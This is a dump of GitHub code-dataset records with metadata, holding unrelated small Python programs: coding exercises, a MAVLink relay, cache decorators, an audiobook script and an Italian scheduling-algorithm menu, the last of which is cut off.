getHandle(setup,\"configuration_Screen\")\nconfScreenInstance.table.setSelection1(1,confScreenHandle,\"table\")\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][2])\ncreatePopInstance = GenerateReportsPopClass(setup.d)\ncreatePopHandle = getHandle(setup, \"config_popup\")\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['nfName'],\"nfautomationHost1\")\ncreatePopInstance.dropdown.doSelection(createPopHandle,\"FA\",'createdialog','networkElement1')\ncreatePopInstance.dropdown.doSelection(createPopHandle,\"HA\",'createdialog','networkElement2')\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['port'],\"12\")\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['protocol'],\"23\")\ncreatePopInstance.dropdown.customClick(createPopHandle['createdialog']['submit'])\n\n# confScreenHandle = getHandle(setup,\"configuration_Screen\")\n\n\n\n\nsetup.d.close()","repo_name":"mayankmahajan/html5auto","sub_path":"suite_ibconfiguration/ibnetwork.py","file_name":"ibnetwork.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"14967167538","text":"from hamcrest import (\n assert_that,\n equal_to\n)\n\nfrom pynformatics.testutils import TestCase\nfrom pynformatics.utils.context import Context\n\n\nclass TestUtils__context_encode(TestCase):\n def test_simple(self):\n context = Context(\n user_id=1,\n problem_id=2,\n statement_id=None,\n )\n assert_that(\n context.encode(),\n equal_to({\n 'user_id': 1,\n 'problem_id': 2,\n 'statement_id': None,\n })\n )\n","repo_name":"riskingh/informatics-mccme-ru","sub_path":"pynformatics/tests/unit/utils/context/encode/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"79"} +{"seq_id":"73876346495","text":"\ndef get_pisano_period(m=10):\n prev, curr = 0, 1\n for i in range(0, m * m):\n prev, curr = curr, (prev + curr) % m\n\n # pisano number starts with 01\n if prev == 0 and curr == 1:\n return i+1\n return 60\n \ndef fib_sum(n):\n pp = get_pisano_period(10)\n n = n % pp\n\n if n <= 1:\n return n\n\n prev, cur, sum = 0, 1, 1\n for _ in range(2, n+1):\n prev, cur = cur, (prev + cur) % 10\n sum += cur\n return sum % 10\n\nif __name__ == '__main__':\n input_n = int(input())\n # input_n = 100\n # input_n = 240\n # input_n = 832564823476\n print(fib_sum(input_n))\n","repo_name":"sakshamsds/data-structures-and-algorithms","sub_path":"ucsd_specialization/01_Algorithmic_Toolbox/week2/2_6_fib_sum.py","file_name":"2_6_fib_sum.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74287780096","text":"\"\"\"\n Remember to update MAVLink dialect with:\n cp dialects/* .venv/lib/python3.7/site-packages/message_definitions/v1.0/\n\"\"\"\n\nimport time\nimport serial\nimport logging\n\nimport settings\n\nfrom pymavlink import mavutil\n\n\nlogging.basicConfig(**settings.LOGGING_KWARGS)\n\n\ndef connect_vehicle():\n while True:\n try:\n link = mavutil.mavlink_connection(**settings.MAVLINK_DAEMON)\n logging.info(\n f\"Vehicle connected at {settings.MAVLINK_DAEMON['device']}\")\n break\n except Exception as e:\n logging.error(f\"Vehicle connection error: {e}\")\n time.sleep(1)\n\n return link\n\n\nvehicle_link = connect_vehicle()\n\ntry:\n ground_link = mavutil.mavlink_connection(\n input=False,\n **settings.MAVLINK_GROUND\n )\n logging.info(f\"Ground at {settings.MAVLINK_GROUND['device']}\")\nexcept serial.SerialException:\n ground_link = None\n logging.warning(f\"NO GROUND LINK at {settings.MAVLINK_GROUND}\")\n\n\ntukano_link = mavutil.mavlink_connection(\n input=False,\n **settings.MAVLINK_TUKANO\n)\nlogging.info(f\"MAVLink tukano at {settings.MAVLINK_TUKANO['device']}\")\n\nlogging.info(\"Waiting for vehicle hearbeat\")\nvehicle_link.wait_heartbeat()\nlogging.info(\"Vehicle hearbeat received!\")\n\n\nwhile True:\n\n # From vehicle to ground/tukano\n try:\n vehicle_m = vehicle_link.recv()\n except ConnectionResetError as e:\n logging.error(f\"MAVLINK VEHICLE ERROR: {e}\")\n vehicle_link = connect_vehicle()\n continue\n\n vehicle_msgs = vehicle_link.mav.parse_buffer(vehicle_m)\n if vehicle_msgs:\n for vehicle_msg in vehicle_msgs:\n logging.debug(f\"(VEHICLE_MSG) {vehicle_msg}\")\n if ground_link:\n ground_link.write(vehicle_msg.get_msgbuf())\n\n if tukano_link:\n tukano_link.write(vehicle_msg.get_msgbuf())\n\n # From ground to vehicle\n if ground_link:\n ground_m = ground_link.recv()\n ground_msgs = ground_link.mav.parse_buffer(ground_m)\n if ground_msgs:\n for ground_msg in ground_msgs:\n logging.info(f\"(GROUND_MSG) {ground_msg}\")\n vehicle_link.write(ground_msg.get_msgbuf())\n\n # From tukano to vehicle\n tukano_m = tukano_link.recv()\n tukano_msgs = tukano_link.mav.parse_buffer(tukano_m)\n if tukano_msgs:\n for tukano_msg in tukano_msgs:\n logging.info(f\"(TUKANO_MSG) {tukano_msg}\")\n vehicle_link.write(tukano_msg.get_msgbuf())\n\n time.sleep(settings.SLEEPING_TIME)\n","repo_name":"josezy/tukano","sub_path":"src/deprecated_mavlink_daemon.py","file_name":"deprecated_mavlink_daemon.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"31414642519","text":"\nclass Solution:\n def is_prime(self,n):\n if n == 2 or n == 3: return True\n if n < 2 or n%2 == 0: return False\n if n < 9: return True\n if n%3 == 0: return False\n r = int(n**0.5)\n # since all primes > 3 are of the form 6n ± 1\n # start with f=5 (which is prime)\n # and test f, f+2 for being prime\n # then loop by 6. \n f = 5\n while f <= r:\n \n if n % f == 0: return False\n if n % (f+2) == 0: return False\n f += 6\n return True\n \n def isUgly(self, n: int) -> bool:\n if n == 1 or n == 0:\n return True\n n = abs(n)\n # in an iteration, check find its factors. While finding, check whether each factor is prime or not\n # we dont need to iterate from 1 to n. From 1 to sqrt(n) is sufficient\n for i in range(7,n):\n # if i is a factor of n and bigger then 5, check if it s prime or not. Else, do nothing, so there is no else\n if n % i == 0:\n print(\"one of the factor is %s\" % i)\n # check if i is prime or not\n if self.is_prime(i):\n return False\n return True\n\nepsi = Solution()\nprint(epsi.isUgly(-2147483648))\n","repo_name":"HuachenZH/Python_leet","sub_path":"Math/263. Ugly Number/263.py","file_name":"263.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"39759816065","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def pathSum(self, root: Optional[TreeNode], targetSum: int) -> int:\n prefix_sum = defaultdict(int)\n prefix_sum[0] = 1\n \n path_sum = 0\n def dfs(node, psum, prefix_dict):\n nonlocal path_sum\n if not node:\n return\n \n psum += node.val\n prefix_to_delete = psum - targetSum \n if prefix_to_delete in prefix_dict:\n path_sum += prefix_dict[prefix_to_delete]\n prefix_dict[psum] += 1\n dfs(node.left ,psum , prefix_dict)\n dfs(node.right , psum , prefix_dict)\n \n prefix_dict[psum] -= 1\n dfs(root, 0 , prefix_sum)\n return path_sum\n \n \n \n \n ","repo_name":"Natnael16/competitiveprogramming","sub_path":"0437-path-sum-iii/0437-path-sum-iii.py","file_name":"0437-path-sum-iii.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"25440677068","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 18 14:53:48 2023\n\n@author: edu_c\n\"\"\"\n\ndef isYearLeap(year):\n if (year % 4 == 0 and (year % 100 != 0 or year % 400 == 0)):\n return True\n else:\n return False\n \n\ndef daysInMonth(year, month):\n meses_31 = [1,3,5,7,8,10,12]\n meses_30 = [4,6,9,11]\n if (month in meses_31):\n return 31 \n elif (month in meses_30):\n return 30\n elif (month == 2):\n if (isYearLeap(year)):\n return 29\n else:\n return 28 \n else:\n return None\n\ndef dias_del_anio(year, month, day):\n dias = 0\n if not((month > 0 and month <12) and (year > 0) and (day > 0 and day <= (daysInMonth(year, month)))):\n return None\n for i in range (1, month):\n dias += daysInMonth(year, i)\n dias += day\n return dias\n\n\n\nprint(dias_del_anio(2023,5,19)) #debe imprimir 139\nprint(dias_del_anio(2023,2,29)) #debe imprimir none","repo_name":"educeav/python_essentials","sub_path":"ejercicio4_dias_correspondientes_de__.py","file_name":"ejercicio4_dias_correspondientes_de__.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"5077011232","text":"# # Python example - Fourier transform using numpy.fft method\n# import numpy as np\n# import pandas as pd\n# import matplotlib.pyplot as plt\n\n# df = pd.read_csv('E:\\\\Django_proj\\\\mysite\\\\media\\\\Acc_time.csv')\n# length = 40960\n\n# # How many time points are needed i,e., Sampling Frequency\n# samplingFrequency = length;\n\n# # At what intervals time points are sampled\n# samplingInterval = 1 / samplingFrequency;\n\n# # # Create subplot\n# # figure, axis = plotter.subplots(4, 1)\n# # plotter.subplots_adjust(hspace=1)\n\n# # Time points\n# time = df['time']\n# amplitude = df['amplitude']\n\n# # Frequency domain representation\n# fourierTransform = np.fft.fft(amplitude)/len(amplitude) # Normalize amplitude\n# fourierTransform = fourierTransform[range(int(len(amplitude)/2))] # Exclude sampling frequency\n# tpCount = len(amplitude)\n# values = np.arange(int(tpCount/2))\n# timePeriod = tpCount/samplingFrequency\n# frequencies = values/timePeriod\n\n# # Frequency domain representation\n\n# plt.title('Fourier transform depicting the frequency components')\n# plt.plot(frequencies, abs(fourierTransform))\n# plt.xlabel('Frequency')\n# plt.ylabel('Amplitude')\n# plt.show()\n\n\n\nimport csv\nimport pandas as pd\n# import numpy as np\n\nfile = (\"E:\\\\Django_proj\\\\restapi\\\\media\\\\Acc_time_ext.csv\")\n# csv = pd.read_csv(file)\n# csv = pd.read_csv(file, header=0, nrows=0).columns.tolist()\n# first = csv.index('time')\n# second = csv.index('amplitude')\n# if csv != first:\n# print('yes')\n# else:\n# print('no')\n# print(csv)\n# print(second)\n\nfile = (\"E:\\\\Django_proj\\\\restapi\\\\media\\\\Acc_time_ext.csv\")\n\ndf=pd.read_csv(file)\ncol = df.columns.tolist()\nn = len(col)\nprint(n)\nif col[0] != 'time' or col[1] != 'amplitude':\n print('column')\nelse:\n print('column')\n\n# time = len(csv[0])\n# num = csv['time']. iloc[1]\n# sf = int((time/num)*1000)\n# print(sf)\n# val = len(file.columns)\n# print(time)\n\n","repo_name":"paranormman/TEAL_project","sub_path":"visual/fft.py","file_name":"fft.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"11839964599","text":"import string\n\nletters = string.ascii_uppercase\n\ndef get_result():\n total = 0\n with open('./files/p022_names.txt', 'r') as f:\n names = list(f.read().replace('\"','').split(','))\n names.sort()\n print(names)\n for pos in range(len(names)):\n score = 0\n for letter in names[pos]:\n score += letters.index(letter) + 1\n total += score * (pos + 1)\n return total","repo_name":"bruno-zaccariello/usefull","sub_path":"EulerProject/euler_22.py","file_name":"euler_22.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"7342725685","text":"import random\n\n#The code for running the dice \ndef game():\n rand = random.randint(1, 6)\n print(\"Your dice rool is \" + str(rand))\n restart = input(\"do u want to get another dice rool?(y/n): \")\n if restart == 'y':\n game()\n else:\n print(\"Thanks for joining!\")\n\ndef again():\n t = True\n count = 0\n while t :\n rand = random.randint(1, 6)\n print(\"Your dice rools are: \")\n print(rand)\n if count == 99:\n break\n else:\n count += 1\n continue\n \n#Taking input from input for starting the game!\nprint(\"If you want 100 dice rools type '100': \")\nstart = input(\"Are you ready? (y/n/100): \")\nif start == \"y\":\n print(\"\")\n game()\nelif start == '100':\n again()\n\nelse:\n print(\"Thanks for joining us\")\n\n \n\n","repo_name":"AbhinavSilwal/dice-rolling-simulation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"37835021704","text":"import pyttsx3\r\nimport PyPDF2\r\nfrom tkinter import * # Importing the GUI named tkinter\r\nfrom tkinter.filedialog import *\r\nfrom page_range import *\r\nengine = pyttsx3.init() # Object creation\r\naudiotabclose = ''\r\n\r\ndef close_window_a():\r\n engine.stop()\r\n audiotabclose.destroy()\r\n\r\n\r\ndef audio(pageRange, audiotab):\r\n # Create a window\r\n audiotabclose = audiotab\r\n\r\n # Set Title as Image Loader\r\n audiotab.title(\"AudioBook\")\r\n\r\n # Set the resolution of window\r\n audiotab.geometry(\"1000x600\")\r\n audiotab.configure(bg = \"#FFFFFF\")\r\n canvas = Canvas(\r\n audiotab,\r\n bg = \"#FFFFFF\",\r\n height = 600,\r\n width = 1000,\r\n bd = 0,\r\n highlightthickness = 0,\r\n relief = \"ridge\")\r\n canvas.place(x = 0, y = 0)\r\n\r\n background_img = PhotoImage(file = f\"background 2.png\")\r\n background = canvas.create_image(\r\n 534.5, 310.5,\r\n image=background_img)\r\n\r\n img0 = PhotoImage(file = f\"stop 2.png\")\r\n b0 = Button(\r\n image = img0,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = close_window_a,\r\n relief = \"flat\")\r\n\r\n b0.place(\r\n x = 386, y = 326,\r\n width = 249,\r\n height = 78)\r\n\r\n # Allow Window to be resizable\r\n \r\n frame = Frame(audiotab)\r\n frame.pack()\r\n \r\n \r\n\r\n\r\n rate = engine.getProperty('rate')\r\n print (rate) # Printing the current voice rate\r\n engine.setProperty('rate', 165) # Setting up the new voice rate\r\n volume = engine.getProperty('volume')\r\n print (volume) # Printing the current volume level\r\n engine.setProperty('volume',1.0) # Setting up the volume level between 0 and 1\r\n voices = engine.getProperty('voices')\r\n engine.setProperty('voice', voices[1].id)\r\n \r\n book=askopenfilename()\r\n pdfreader=PyPDF2.PdfFileReader(book)\r\n pages=pdfreader.numPages\r\n try:\r\n a , b = get_text(pageRange)\r\n for num in range(a, b):\r\n page=pdfreader.getPage(num)\r\n text=page.extractText()\r\n player=pyttsx3.init()\r\n player.say(text)\r\n player.runAndWait()\r\n except:\r\n for num in range(0,pages):\r\n page=pdfreader.getPage(num)\r\n text=page.extractText()\r\n player=pyttsx3.init()\r\n player.say(text)\r\n player.runAndWait()\r\n finally:\r\n engine.save_to_file(text, 'audio.mp3') # Saving the voice to a file \r\n engine.runAndWait()\r\n print(\"Your audiobook file has been generated as an mp3 file. Check the project file directory for getting the file.\")\r\n audiotab.mainloop()\r\n\r\n\r\n\r\n \r\n","repo_name":"Lakshminarayana155/Audio-book-using-python-2nd-year-project-","sub_path":"audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"70052074497","text":"from __future__ import with_statement\nimport functools, random\nfrom array import array\nfrom heapq import nsmallest\nfrom operator import itemgetter\nfrom threading import Lock\nfrom time import time\n\nfrom whoosh.compat import iteritems, xrange\n\n\ntry:\n from collections import Counter\nexcept ImportError:\n class Counter(dict):\n def __missing__(self, key):\n return 0\n\n\ndef unbound_cache(func):\n \"\"\"Caching decorator with an unbounded cache size.\n \"\"\"\n\n cache = {}\n\n @functools.wraps(func)\n def caching_wrapper(*args):\n try:\n return cache[args]\n except KeyError:\n result = func(*args)\n cache[args] = result\n return result\n\n return caching_wrapper\n\n\ndef lru_cache(maxsize=100):\n \"\"\"A simple cache that, when the cache is full, deletes the least recently\n used 10% of the cached values.\n\n This function duplicates (more-or-less) the protocol of the\n ``functools.lru_cache`` decorator in the Python 3.2 standard library.\n\n Arguments to the cached function must be hashable.\n\n View the cache statistics tuple ``(hits, misses, maxsize, currsize)``\n with f.cache_info(). Clear the cache and statistics with f.cache_clear().\n Access the underlying function with f.__wrapped__.\n \"\"\"\n\n def decorating_function(user_function):\n stats = [0, 0] # Hits, misses\n data = {}\n lastused = {}\n\n @functools.wraps(user_function)\n def wrapper(*args):\n try:\n result = data[args]\n stats[0] += 1 # Hit\n except KeyError:\n stats[1] += 1 # Miss\n if len(data) == maxsize:\n for k, _ in nsmallest(maxsize // 10 or 1,\n iteritems(lastused),\n key=itemgetter(1)):\n del data[k]\n del lastused[k]\n data[args] = user_function(*args)\n result = data[args]\n finally:\n lastused[args] = time()\n return result\n\n def cache_info():\n return stats[0], stats[1], maxsize, len(data)\n\n def cache_clear():\n data.clear()\n lastused.clear()\n stats[0] = stats[1] = 0\n\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n return wrapper\n return decorating_function\n\n\ndef lfu_cache(maxsize=100):\n \"\"\"A simple cache that, when the cache is full, deletes the least frequently\n used 10% of the cached values.\n\n This function duplicates (more-or-less) the protocol of the\n ``functools.lru_cache`` decorator in the Python 3.2 standard library.\n\n Arguments to the cached function must be hashable.\n\n View the cache statistics tuple ``(hits, misses, maxsize, currsize)``\n with f.cache_info(). Clear the cache and statistics with f.cache_clear().\n Access the underlying function with f.__wrapped__.\n \"\"\"\n\n def decorating_function(user_function):\n stats = [0, 0] # Hits, misses\n data = {}\n usecount = Counter()\n\n @functools.wraps(user_function)\n def wrapper(*args):\n try:\n result = data[args]\n stats[0] += 1 # Hit\n except KeyError:\n stats[1] += 1 # Miss\n if len(data) == maxsize:\n for k, _ in nsmallest(maxsize // 10 or 1,\n iteritems(usecount),\n key=itemgetter(1)):\n del data[k]\n del usecount[k]\n data[args] = user_function(*args)\n result = data[args]\n finally:\n usecount[args] += 1\n return result\n\n def cache_info():\n return stats[0], stats[1], maxsize, len(data)\n\n def cache_clear():\n data.clear()\n usecount.clear()\n\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n return wrapper\n return decorating_function\n\n\ndef random_cache(maxsize=100):\n \"\"\"A very simple cache that, when the cache is filled, deletes 10% of the\n cached values AT RANDOM.\n\n This function duplicates (more-or-less) the protocol of the\n ``functools.lru_cache`` decorator in the Python 3.2 standard library.\n\n Arguments to the cached function must be hashable.\n\n View the cache statistics tuple ``(hits, misses, maxsize, currsize)``\n with f.cache_info(). Clear the cache and statistics with f.cache_clear().\n Access the underlying function with f.__wrapped__.\n \"\"\"\n\n def decorating_function(user_function):\n stats = [0, 0] # hits, misses\n data = {}\n\n @functools.wraps(user_function)\n def wrapper(*args):\n try:\n result = data[args]\n stats[0] += 1 # Hit\n except KeyError:\n stats[1] += 1 # Miss\n if len(data) == maxsize:\n keys = data.keys()\n for i in xrange(maxsize // 10 or 1):\n n = random.randint(0, len(keys) - 1)\n k = keys.pop(n)\n del data[k]\n data[args] = user_function(*args)\n result = data[args]\n return result\n\n def cache_info():\n return stats[0], stats[1], maxsize, len(data)\n\n def cache_clear():\n data.clear()\n\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n return wrapper\n return decorating_function\n\n\ndef db_lru_cache(maxsize=100):\n \"\"\"Double-barrel least-recently-used cache decorator. This is a simple\n LRU algorithm that keeps a primary and secondary dict. Keys are checked\n in the primary dict, and then the secondary. Once the primary dict fills\n up, the secondary dict is cleared and the two dicts are swapped.\n\n This function duplicates (more-or-less) the protocol of the\n ``functools.lru_cache`` decorator in the Python 3.2 standard library.\n\n Arguments to the cached function must be hashable.\n\n View the cache statistics tuple ``(hits, misses, maxsize, currsize)``\n with f.cache_info(). Clear the cache and statistics with f.cache_clear().\n Access the underlying function with f.__wrapped__.\n \"\"\"\n\n def decorating_function(user_function):\n # Cache1, Cache2, Pointer, Hits, Misses\n stats = [{}, {}, 0, 0, 0]\n\n @functools.wraps(user_function)\n def wrapper(*args):\n ptr = stats[2]\n a = stats[ptr]\n b = stats[not ptr]\n key = args\n\n if key in a:\n stats[3] += 1 # Hit\n return a[key]\n elif key in b:\n stats[3] += 1 # Hit\n return b[key]\n else:\n stats[4] += 1 # Miss\n result = user_function(*args)\n a[key] = result\n if len(a) >= maxsize:\n stats[2] = not ptr\n b.clear()\n return result\n\n def cache_info():\n return stats[3], stats[4], maxsize, len(stats[0]) + len(stats[1])\n\n def cache_clear():\n \"\"\"Clear the cache and cache statistics\"\"\"\n stats[0].clear()\n stats[1].clear()\n stats[3] = stats[4] = 0\n\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n\n return wrapper\n return decorating_function\n\n\ndef clockface_lru_cache(maxsize=100):\n \"\"\"Least-recently-used cache decorator.\n\n This function duplicates (more-or-less) the protocol of the\n ``functools.lru_cache`` decorator in the Python 3.2 standard library, but\n uses the clock face LRU algorithm instead of an ordered dictionary.\n\n If *maxsize* is set to None, the LRU features are disabled and the cache\n can grow without bound.\n\n Arguments to the cached function must be hashable.\n\n View the cache statistics named tuple (hits, misses, maxsize, currsize)\n with f.cache_info(). Clear the cache and statistics with f.cache_clear().\n Access the underlying function with f.__wrapped__.\n \"\"\"\n\n def decorating_function(user_function):\n stats = [0, 0, 0] # hits, misses, hand\n data = {}\n\n if maxsize:\n # The keys at each point on the clock face\n clock_keys = [None] * maxsize\n # The \"referenced\" bits at each point on the clock face\n clock_refs = array(\"B\", (0 for _ in xrange(maxsize)))\n lock = Lock()\n\n @functools.wraps(user_function)\n def wrapper(*args):\n key = args\n try:\n with lock:\n pos, result = data[key]\n # The key is in the cache. Set the key's reference bit\n clock_refs[pos] = 1\n # Record a cache hit\n stats[0] += 1\n except KeyError:\n # Compute the value\n result = user_function(*args)\n with lock:\n # Current position of the clock hand\n hand = stats[2]\n # Remember to stop here after a full revolution\n end = hand\n # Sweep around the clock looking for a position with\n # the reference bit off\n while True:\n hand = (hand + 1) % maxsize\n current_ref = clock_refs[hand]\n if current_ref:\n # This position's \"referenced\" bit is set. Turn\n # the bit off and move on.\n clock_refs[hand] = 0\n elif not current_ref or hand == end:\n # We've either found a position with the\n # \"reference\" bit off or reached the end of the\n # circular cache. So we'll replace this\n # position with the new key\n current_key = clock_keys[hand]\n if current_key in data:\n del data[current_key]\n clock_keys[hand] = key\n clock_refs[hand] = 1\n break\n # Put the key and result in the cache\n data[key] = (hand, result)\n # Save the new hand position\n stats[2] = hand\n # Record a cache miss\n stats[1] += 1\n return result\n\n else:\n @functools.wraps(user_function)\n def wrapper(*args):\n key = args\n try:\n result = data[key]\n stats[0] += 1\n except KeyError:\n result = user_function(*args)\n data[key] = result\n stats[1] += 1\n return result\n\n def cache_info():\n return stats[0], stats[1], maxsize, len(data)\n\n def cache_clear():\n \"\"\"Clear the cache and cache statistics\"\"\"\n data.clear()\n stats[0] = stats[1] = stats[2] = 0\n for i in xrange(maxsize):\n clock_keys[i] = None\n clock_refs[i] = 0\n\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n return wrapper\n return decorating_function\n\n","repo_name":"zhl2008/awd-platform","sub_path":"web_flaskbb/lib/python2.7/site-packages/whoosh/util/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":11852,"program_lang":"python","lang":"en","doc_type":"code","stars":574,"dataset":"github-code","pt":"79"} +{"seq_id":"18041374864","text":"#!/usr/bin/python3\nfrom subprocess import call\nimport os \n\ncall(['git', 'clone', 'https://github.com/CDPS-ETSIT/practica_creativa2.git'])\ncall(['sudo', 'apt-get', 'update'])\ncall(['sudo', 'apt-get', 'install', '-y', 'python3-pip'])\n\ncall(['pip3', 'install', '-r', 'requirements.txt'])\n\nos.chdir('practica_creativa2/bookinfo/src/productpage')\n\nos.environ['GROUP_NUMBER'] = '36'\nnumGrupo = os.environ.get('GROUP_NUMBER')\n\nos.chdir('templates')\ncall(['cp', 'productpage.html', 'productpage_temporal.html'])\nfin = open('productpage_temporal.html', 'r')\nfout = open('productpage.html', 'w')\n\nfor line in fin:\n\tif '{% block title %}Simple Bookstore App{% endblock %}' in line :\n\t\tfout.write(line.replace('{% block title %}Simple Bookstore App{% endblock %}', '{% block title %}Simple Bookstore App [' + numGrupo + ']{% endblock %}'))\n\telse :\n\t\tfout.write(line)\n\nfin.close()\nfout.close()\ncall(['rm', '-f', 'productpage_temporal.html'])\n\nos.chdir('..')\ncall(['python3', 'productpage_monolith.py', '9080'])\n","repo_name":"luis-trave/Creativa2Def","sub_path":"apartado1/apartado1.py","file_name":"apartado1.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14684841275","text":"from istanza import Istanza\nfrom greedy import Greedy\nfrom simulatedAnnealing import SimulatedAnnealing\nfrom pathRelinking import PathRelinking\nimport os\nfrom heapq import nsmallest\nfrom random import choice\n\nclass Menù():\n\tdef __init__(self, config, mainW):\n\t\tself.config = config # Configurazione\n\t\tself.mainW = mainW\t # Interfaccia grafica\n\t\t\n\t\t# Istanze degli algoritmi\n\t\tself.classeIstanza = Istanza(config)\n\t\tself.classeGreedy = Greedy(config)\n\t\tself.classeSimulatedAnnealing = SimulatedAnnealing(config)\n\t\tself.classePathRelinking = PathRelinking(config)\n\t\t\n\t\t# Strutture dati contenenti i contenitori per la grafica\n\t\tself.graficaGreedy = [mainW.greedy_1, mainW.greedy_2]\n\t\tself.graficaSA = [mainW.simulated_annealing_1, mainW.simulated_annealing_2]\n\t\tself.graficaPR = [mainW.path_relinking_1, mainW.path_relinking_2]\n\t\t\n\t\t# Struttura dati contenente le soluzioni create\n\t\tself.istanzaCorrente = None\n\t\tself.listaGreedy = []\n\t\tself.listaSimulatedAnnealing = []\n\t\tself.listaPathRelinking = []\n\t\n\t'''\n\tFunzione eseguita dal thread demone, gestisce l'interfaccia utente.\n\t'''\n\tdef start(self):\n\t\t# Menù contestuale\n\n\t\ttitolo = \"\"\"\n ______ _ _ _ _ \n | ___ \\ | | | | | |(_) \n | |_/ / _ __ ___ __ _ ___ | |_ | |_ ___ __| | _ \n | __/ | '__| / _ \\ / _` | / _ \\| __|| __| / _ \\ / _` || | \n | | | | | (_) || (_| || __/| |_ | |_ | (_) | | (_| || | \n \\_| |_| \\___/ \\__, | \\___| \\__| \\__| \\___/ \\__,_||_| \n __/ | \n |___/ \n______ _ _____ _ _ \n| ___ \\(_) | _ | | | (_) \n| |_/ / _ ___ ___ _ __ ___ __ _ | | | | _ __ ___ _ __ __ _ | |_ _ __ __ __ _ \n| / | | / __| / _ \\| '__| / __| / _` | | | | || '_ \\ / _ \\| '__| / _` || __|| |\\ \\ / / / _` |\n| |\\ \\ | || (__ | __/| | | (__ | (_| | \\ \\_/ /| |_) || __/| | | (_| || |_ | | \\ V / | (_| |\n\\_| \\_||_| \\___| \\___||_| \\___| \\__,_| \\___/ | .__/ \\___||_| \\__,_| \\__||_| \\_/ \\__,_|\n | | \n |_| \"\"\"\n\t\tprint(titolo)\n\n\t\t# Dizionario per gestire la scelta utente\n\t\tscelta = {\n\t\t\t\t\t1 : self.soluzioneAutomatica,\n\t\t\t\t\t2 : self.nuovaIstanza,\n\t\t\t\t\t3 : self.nuovaGreedy,\n\t\t\t\t\t4 : self.nuovoSA,\n\t\t\t\t\t5 : self.nuovoPR,\n\t\t\t\t\t6 : self.visualizzaMigliori,\n\t\t\t\t\t7 : self.visualizzaMigliore,\n\t\t\t\t\t8 : self.config.mostra,\n\t\t\t\t\t9 : self.config.modifica,\n\t\t\t\t\t10 : self.aiuto,\n\t\t\t\t\t11 : self.uscita\n\t\t}\n\t\t\n\t\t# Menù principale\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\trisposta = int(input(\n\"\"\"\\nSelezionare un'opzione:\n\n1) Crea soluzione automatica (istanza + GRASP + PR)\n2) Crea una nuova istanza\n3) Applica un algoritmo Greedy\n4) Applica Simulated Annealing\n5) Applica Path Relinking\n6) Visualizza dati soluzioni migliori per categoria\n7) Visualizza soluzione migliore\n8) Visualizza configurazione\n9) Modifica configurazione\n10) Aiuto\n11) Esci\n\n>: \"\"\"))\n\t\t\t\tif risposta < 1 or risposta > len(scelta):\n\t\t\t\t\traise ValueError()\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"\\nInput errato.\")\n\t\t\telse:\n\t\t\t\tscelta[risposta]()\n\t\n\t'''\n\tFunzione per generare una soluzione ottima utilizzando il metodo GRASP + Path Relinking, tutto automatizzato.\n\t'''\n\tdef soluzioneAutomatica(self):\n\t\tprint(\"\\nGenerazione nuova istanza...\\n\")\n\t\tself.nuovaIstanza()\n\t\tprint(\"Generazione istanza completata.\\n\\n Inizio generazione soluzioni greedy...\\n\")\n\n\t\t# Greedy\n\t\ttipoGreedy = [\"LPT\", \"SPT\", \"FIFO\"]\n\t\tfor i in range(self.config.GreedyGenerabili):\n\t\t\tprint(\"Generazione soluzione {} di {}\\n\".format(i + 1, self.config.GreedyGenerabili))\n\t\t\tself.listaGreedy.append(self.classeGreedy.start(self.istanzaCorrente, choice(tipoGreedy)))\n\t\tprint(\"Generazione soluzioni greedy completata.\\n\")\n\t\t# Simulated Annealing\n\t\tprint(\"Inizio generazione soluzioni Simulated Annealing...\\n\")\n\t\tfor i, greedy in enumerate(self.listaGreedy, start=1):\n\t\t\tprint(\"Generazione soluzione {} di {}\\n\".format(i, len(self.listaGreedy)))\n\t\t\tself.listaSimulatedAnnealing.append(self.classeSimulatedAnnealing.start(greedy))\n\t\tprint(\"Generazione soluzioni Simulated Annealing 